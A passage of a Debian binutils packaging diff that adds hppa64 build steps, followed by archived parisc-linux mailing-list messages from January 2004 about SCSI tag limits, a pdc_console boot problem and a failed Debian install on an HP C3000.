+ifeq ($(DEB_HOST_ARCH),hppa)
+	$(install_dir) $(d_hppa64)/DEBIAN
+endif
+
 	: # install docs
 	$(install_dir) $(d_bin)/usr/share/doc/$(p_bin)/
 	$(install_file)	debian/changelog $(d_bin)/usr/share/doc/$(p_bin)/changelog.Debian
 	$(install_file)	debian/copyright $(d_bin)/usr/share/doc/$(p_bin)/
 
 	$(install_dir) $(d_dev)/usr/share/doc/ $(d_mul)/usr/share/doc/
-	ln -s $(p_bin) $(d_dev)/usr/share/doc/$(p_dev)
-	ln -s $(p_bin) $(d_mul)/usr/share/doc/$(p_mul)
+	ln -sf $(p_bin) $(d_dev)/usr/share/doc/$(p_dev)
+	ln -sf $(p_bin) $(d_mul)/usr/share/doc/$(p_mul)
+ifeq ($(DEB_HOST_ARCH),hppa)
+	$(install_dir) $(d_hppa64)/usr/share/doc/
+	ln -sf $(p_bin) $(d_hppa64)/usr/share/doc/$(p_hppa64)
+endif
 
 	$(install_file) $(pwd)/test-summary binutils/NEWS binutils/ChangeLog.linux \
 	                debian/README.Debian $(d_bin)/usr/share/doc/$(p_bin)/
@@ -330,11 +424,22 @@
 	find $(d_mul) -type f | xargs file | grep ELF | cut -d: -f 1 | xargs dpkg-shlibdeps
 	dpkg-gencontrol -isp -P$(d_mul) -p$(p_mul)
 
+ifeq ($(DEB_HOST_ARCH),hppa)
+	rm -f debian/substvars
+	find $(d_hppa64) -type f | xargs file | grep ELF | cut -d: -f 1 | xargs dpkg-shlibdeps
+	dpkg-gencontrol -isp -P$(d_hppa64) -p$(p_hppa64)
+endif
+
 	chown -R root:root $(d_bin) $(d_dev) $(d_mul)
 	chmod -R go=rX  $(d_bin) $(d_dev) $(d_mul)
 	dpkg --build $(d_bin) ..
 	dpkg --build $(d_dev) ..
 	dpkg --build $(d_mul) ..
+ifeq ($(DEB_HOST_ARCH),hppa)
+	chown -R root:root $(d_hppa64)
+	chmod -R go=rX  $(d_hppa64)
+	dpkg --build $(d_hppa64) ..
+endif
 
 ################################################################################
 



From - Thu Nov 08 21:30:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Disk hanging problems with 715/100XC fixed
Date: Fri, 2 Jan 2004 12:45:12 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20040102194512.GB30691@colo.lackof.org>
References: <Pine.LNX.4.58.0401011742320.26846@brain.fop.ns.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623098 4176 80.91.229.3 (22 Nov 2014 02:24:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:58 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Steve Bromwich <hppa@fop.ns.ca>
Original-X-From: grundler@lackof.org  Fri Jan  2 12:45:14 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1ACF94891
	for <parisc-linux@parisc-linux.org>;
	Fri,  2 Jan 2004 12:45:14 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 0386629802B; Fri,  2 Jan 2004 12:45:13 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 30550-05; Fri, 2 Jan 2004 12:45:12 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 74B0229802A; Fri,  2 Jan 2004 12:45:12 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0401011742320.26846@brain.fop.ns.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 02 Jan 2004 19:45:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20536

On Thu, Jan 01, 2004 at 05:55:08PM -0400, Steve Bromwich wrote:
> I fixed this by setting NCR_700_MAX_TAGS to 8 in drivers/scsi/53c700.h.

As of 5 years ago, HP-UX default was 8 for servers and 2 for workstations.
I point this out because it means the SCSI devices one is likely 
to get with a parisc machine have only been qualified to work with
8 IOs outstanding. Setting MAX_TAGS to 8 might be a good first step
for all SCSI drivers when problems like this show up.

grant


From - Thu Nov 08 21:30:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6 & pdc_console pb on c110: "Warning: unable
	to open an initial console."
Date: Fri, 02 Jan 2004 20:28:28 -0700
Lines: 96
Approved: news@gmane.org
Message-ID: <1073100507.1555.6.camel@laptop.bradetich.net>
References: <3FEDF301.5030901@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623098 4181 80.91.229.3 (22 Nov 2014 02:24:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:58 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: rbradetich@uswest.net  Fri Jan  2 20:28:37 2004
Return-Path: <rbradetich@uswest.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D4AB4891
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  2 Jan 2004 20:28:35 -0700 (MST)
Original-Received: from 6-allhosts (unknown [10.0.230.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id DDC3A2B10F; Fri,  2 Jan 2004 20:28:28 -0700 (MST)
In-Reply-To: <3FEDF301.5030901@tiscali.be>
X-Mailer: Ximian Evolution 1.4.5 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 03 Jan 2004 03:28:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20537

Joel,

Even though you should not need the pdc_console for what you want to do,
pdc_console should work in theory.  It probably needs to be updated to
work with the 2.6 kernel.  I will add this to my TODO list.

Thanks,

- Ryan


On Sat, 2003-12-27 at 14:00, Joel Soete wrote:
> Hi all,
> 
> I try to see if pdc_console could be operational on my c110 with kernel 2.6.0-pa5.
> 
> So I uncheck serial_mux and check pdc_console with make menuconfig (edit also pdc_cons.c to define EARLY_BOOTUP_DEBUG)
> Then I create the special file "mknod /dev/ttyB0 c 11 0", add "TB0:12345:respawn:/sbin/getty 38400 ttyB0" in /etc/inittab
> 
> (I also try to apply Richard patch <http://lists.parisc-linux.org/pipermail/parisc-linux/2002-May/016384.html>)
> 
> But no way to make it works?
> 
> Linux version 2.6.0-pa5 (root@hpalin) (gcc version 3.3.3 20031206 (prerelease) 3FP[0] enabled: Rev 1 Model 11 
>                                The 32-bit Kernel has started...
> Initialized PDC Console for debugging.
> Determining PDC firmware type: System Map.
> model 000058e0 00000481 00000000 00000002 77e47570 100000f1 00000004 0000008a 0avers  0000000d
> CPUID vers 11 rev 13 (0x0000016d)
> model 9000/777/C110
> Total Memory: 128 Mb
> [snip]
> Soft power switch enabled, polling @ 0xf0140000.
> Console: switching to colour frame buffer device 128x48
> pty: 256 Unix98 ptys configured
> lp: driver loaded but no devices found
> Generic RTC Driver v1.07
> Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
> ttyS0 at MMIO 0xffd05800 (irq = 90) is a 16550A
> ttyS1 at MMIO 0xffe02800 (irq = 121) is a 16550A
> [snip]
> Freeing unused kernel memory: 504k freed
> Warning: unable to open an initial console.
> Adding 131832k swap on /dev/md1.  Priority:-1 extents:1
> EXT3 FS on md2, internal journal
> [snip]
> ....eth0: link ok.
> 
> Debian GNU/Linux testing/unstable hpalin ttyS0
> 
> hpalin login:
> 
> In th syslog I also notice:
> [snip]
> Dec 27 21:45:03 hpalin init: Id "TB0" respawning too fast: disabled for 5 minutes
> Dec 27 21:52:15 hpalin init: Id "TB0" respawning too fast: disabled for 5 minutes
> [snip]
> 
> And don't find any such device with:
> # cat /proc/devices
> Character devices:
>    1 mem
>    2 pty
>    3 ttyp
>    4 /dev/vc/0
>    4 tty
>    4 ttyS
>    5 /dev/tty
>    5 /dev/console
>    5 /dev/ptmx
>    6 lp
>    7 vcs
>    9 st
>   10 misc
>   13 input
>   14 sound
>   21 sg
>   29 fb
>   36 netlink
> 128 ptm
> 136 pts
> 180 usb
> [snip]
> 
> Any idea? (what should I do wrongly?)
> 
> Thanks in advance for attention,
> 	Joel
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:30:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Lewis" <nitephyre@iinet.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Probem Installing: slang(version).deb corrupt
Date: Sat, 3 Jan 2004 19:43:24 +1000
Lines: 49
Approved: news@gmane.org
Message-ID: <000801c3d1de$08e053d0$0101a8c0@nitephyre>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0005_01C3D231.D991B020"
X-Trace: ger.gmane.org 1416623099 4183 80.91.229.3 (22 Nov 2014 02:24:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:59 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: nitephyre@iinet.net.au  Sat Jan  3 02:43:42 2004
Return-Path: <nitephyre@iinet.net.au>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (mail-03.iinet.net.au [203.59.3.35])
	by dsl2.external.hp.com (Postfix) with SMTP id C0A8648D5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Jan 2004 02:43:40 -0700 (MST)
Original-Received: (qmail 16089 invoked from network); 3 Jan 2004 09:43:38 -0000
Original-Received: from unknown (HELO nitephyre) (203.217.84.28)
	by mail.iinet.net.au with SMTP; 3 Jan 2004 09:43:37 -0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4927.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 03 Jan 2004 09:43:42 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20538

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01C3D231.D991B020
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi, I have a HP Visualize C3000 and i'm trying to install Debian HPPA on =
it... and every time i try to install the base system, whether it be =
from CD or http, i get the message of "slang(version_here).deb is =
corrupt. could not download"

is there any way around this? since my machine hasn't got HPUX on it, =
and i cant find anywhere to download it :|

cheers, matt :)

------=_NextPart_000_0005_01C3D231.D991B020
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3810.1700" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi, I have a HP Visualize C3000 and i'm =
trying to=20
install Debian HPPA on it... and every time i try to install the base =
system,=20
whether it be from CD or http, i get the message of =
"slang(version_here).deb is=20
corrupt. could not download"</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>is there any way around this? since my =
machine=20
hasn't got HPUX on it, and i cant find anywhere to download it =
:|</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>cheers, matt =
:)</FONT></DIV></BODY></HTML>

------=_NextPart_000_0005_01C3D231.D991B020--



From - Thu Nov 08 21:30:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6 & pdc_console pb on c110: "Warning: unable
	to open an initial console."
Date: Sat, 03 Jan 2004 10:52:19 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <3FF69EE3.8070101@tiscali.be>
References: <3FEDF301.5030901@tiscali.be>
	<1073100507.1555.6.camel@laptop.bradetich.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623099 4193 80.91.229.3 (22 Nov 2014 02:24:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:59 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: soete.joel@tiscali.be  Sat Jan  3 03:51:02 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 38D5F48C4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Jan 2004 03:51:02 -0700 (MST)
Original-Received: from [62.235.121.208] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AcjMz-0003ml-3k; Sat, 03 Jan 2004 11:51:01 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <1073100507.1555.6.camel@laptop.bradetich.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 03 Jan 2004 10:51:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20539

Hi Ryan,



Ryan Bradetich wrote:
> Joel,
> 
> Even though you should not need the pdc_console for what you want to do,

Well, I had the opportunity to test pdc_console on my b2k but as well as in 2.4 it make hung the kernel at boot time:
the cdrom green led stay continuously lighted (if I add or remove ide-cdrom support in the kernel)
Unfortunately I never reach to get any relevant toc info to go further in this pb invetigation :(. Now basicaly 2.6 is running on 
this system and so I will try to add some printk() to locate more accurately this event.

> pdc_console should work in theory.  It probably needs to be updated to
> work with the 2.6 kernel.  I will add this to my TODO list.
> 
Ah ok I will waiting some news so.

Thanks also and happy new year,
	Joel



From - Thu Nov 08 21:30:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probem Installing: slang(version).deb corrupt
Date: Sat, 03 Jan 2004 11:28:15 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <3FF6A74F.3000108@tiscali.be>
References: <000801c3d1de$08e053d0$0101a8c0@nitephyre>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623099 4200 80.91.229.3 (22 Nov 2014 02:24:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matt Lewis <nitephyre@iinet.net.au>
Original-X-From: soete.joel@tiscali.be  Sat Jan  3 04:26:57 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 31C93486E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Jan 2004 04:26:57 -0700 (MST)
Original-Received: from [62.235.121.208] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Acjvk-0005dF-DC; Sat, 03 Jan 2004 12:26:56 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <000801c3d1de$08e053d0$0101a8c0@nitephyre>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 03 Jan 2004 11:26:57 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20540



Matt Lewis wrote:
> Hi, I have a HP Visualize C3000 and i'm trying to install Debian HPPA on it... and every time i try to install the base system, whether it be from CD or http, i get the message of "slang(version_here).deb is corrupt. could not download"
> 
> is there any way around this?

IIRC, the c3k require a more recent kernel and what could help is a recent net-install iso cd available at:
<http://www.pateam.org/cd-images/testing/>

and this install would work via a serial console (simply unplug kdb amd mouse and pdc will swicth automaticaly to this serial 
console).

  since my machine hasn't got HPUX on it, and i cant find anywhere to download it :|
> 
Yes AFAIK you would have to order this CD near HP.

hth,
	Joel



From - Thu Nov 08 21:30:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Lewis" <nitephyre@iinet.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probem Installing: slang(version).deb corrupt
Date: Sat, 3 Jan 2004 22:44:54 +1000
Lines: 112
Approved: news@gmane.org
Message-ID: <000f01c3d1f7$63550770$0101a8c0@nitephyre>
References: <000801c3d1de$08e053d0$0101a8c0@nitephyre>
	<3FF6A74F.3000108@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_000C_01C3D24B.3469B970"
X-Trace: ger.gmane.org 1416623100 4207 80.91.229.3 (22 Nov 2014 02:25:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:00 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: nitephyre@iinet.net.au  Sat Jan  3 05:45:13 2004
Return-Path: <nitephyre@iinet.net.au>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (mail-05.iinet.net.au [203.59.3.37])
	by dsl2.external.hp.com (Postfix) with SMTP id C4BAE486E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Jan 2004 05:45:11 -0700 (MST)
Original-Received: (qmail 32309 invoked from network); 3 Jan 2004 12:45:08 -0000
Original-Received: from unknown (HELO nitephyre) (203.217.84.28)
	by mail.iinet.net.au with SMTP; 3 Jan 2004 12:45:08 -0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4927.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 03 Jan 2004 12:45:13 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20541

This is a multi-part message in MIME format.

------=_NextPart_000_000C_01C3D24B.3469B970
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


  ----- Original Message -----=20
  From: Joel Soete=20
  To: Matt Lewis=20
  Cc: parisc-linux@lists.parisc-linux.org=20
  Sent: Saturday, January 03, 2004 9:28 PM
  Subject: Re: [parisc-linux] Probem Installing: slang(version).deb =
corrupt




  Matt Lewis wrote:
  > Hi, I have a HP Visualize C3000 and i'm trying to install Debian =
HPPA on it... and every time i try to install the base system, whether =
it be from CD or http, i get the message of "slang(version_here).deb is =
corrupt. could not download"
  >=20
  > is there any way around this?

  IIRC, the c3k require a more recent kernel and what could help is a =
recent net-install iso cd available at:
  <http://www.pateam.org/cd-images/testing/>

  and this install would work via a serial console (simply unplug kdb =
amd mouse and pdc will swicth automaticaly to this serial=20
  console).

    since my machine hasn't got HPUX on it, and i cant find anywhere to =
download it :|
  >=20
  Yes AFAIK you would have to order this CD near HP.

  hth,
  Joel



------=_NextPart_000_000C_01C3D24B.3469B970
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3810.1700" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>&nbsp;</DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:soete.joel@tiscali.be" =
title=3Dsoete.joel@tiscali.be>Joel=20
  Soete</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:nitephyre@iinet.net.au" =
title=3Dnitephyre@iinet.net.au>Matt=20
  Lewis</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Cc:</B> <A=20
  href=3D"mailto:parisc-linux@lists.parisc-linux.org"=20
  =
title=3Dparisc-linux@lists.parisc-linux.org>parisc-linux@lists.parisc-lin=
ux.org</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Saturday, January 03, =
2004 9:28=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: [parisc-linux] =
Probem=20
  Installing: slang(version).deb corrupt</DIV>
  <DIV><BR></DIV><BR><BR>Matt Lewis wrote:<BR>&gt; Hi, I have a HP =
Visualize=20
  C3000 and i'm trying to install Debian HPPA on it... and every time i =
try to=20
  install the base system, whether it be from CD or http, i get the =
message of=20
  "slang(version_here).deb is corrupt. could not download"<BR>&gt; =
<BR>&gt; is=20
  there any way around this?<BR><BR>IIRC, the c3k require a more recent =
kernel=20
  and what could help is a recent net-install iso cd available =
at:<BR>&lt;<A=20
  =
href=3D"http://www.pateam.org/cd-images/testing/">http://www.pateam.org/c=
d-images/testing/</A>&gt;<BR><BR>and=20
  this install would work via a serial console (simply unplug kdb amd =
mouse and=20
  pdc will swicth automaticaly to this serial =
<BR>console).<BR><BR>&nbsp; since=20
  my machine hasn't got HPUX on it, and i cant find anywhere to download =
it=20
  :|<BR>&gt; <BR>Yes AFAIK you would have to order this CD near=20
  HP.<BR><BR>hth,<BR>Joel<BR><BR></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_000C_01C3D24B.3469B970--



From - Thu Nov 08 21:30:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Lewis" <nitephyre@iinet.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probem Installing: slang(version).deb corrupt
Date: Sun, 4 Jan 2004 08:46:03 +1000
Lines: 137
Approved: news@gmane.org
Message-ID: <001f01c3d24b$5e810600$0101a8c0@nitephyre>
References: <000801c3d1de$08e053d0$0101a8c0@nitephyre>
	<3FF6A74F.3000108@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_001C_01C3D29F.2F98EC50"
X-Trace: ger.gmane.org 1416623100 4214 80.91.229.3 (22 Nov 2014 02:25:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:00 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: nitephyre@iinet.net.au  Sat Jan  3 15:46:26 2004
Return-Path: <nitephyre@iinet.net.au>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (mail-08.iinet.net.au [203.59.3.40])
	by dsl2.external.hp.com (Postfix) with SMTP id 67BC44857
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Jan 2004 15:46:25 -0700 (MST)
Original-Received: (qmail 18204 invoked from network); 3 Jan 2004 22:46:22 -0000
Original-Received: from unknown (HELO nitephyre) (203.217.84.28)
	by mail.iinet.net.au with SMTP; 3 Jan 2004 22:46:22 -0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4927.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
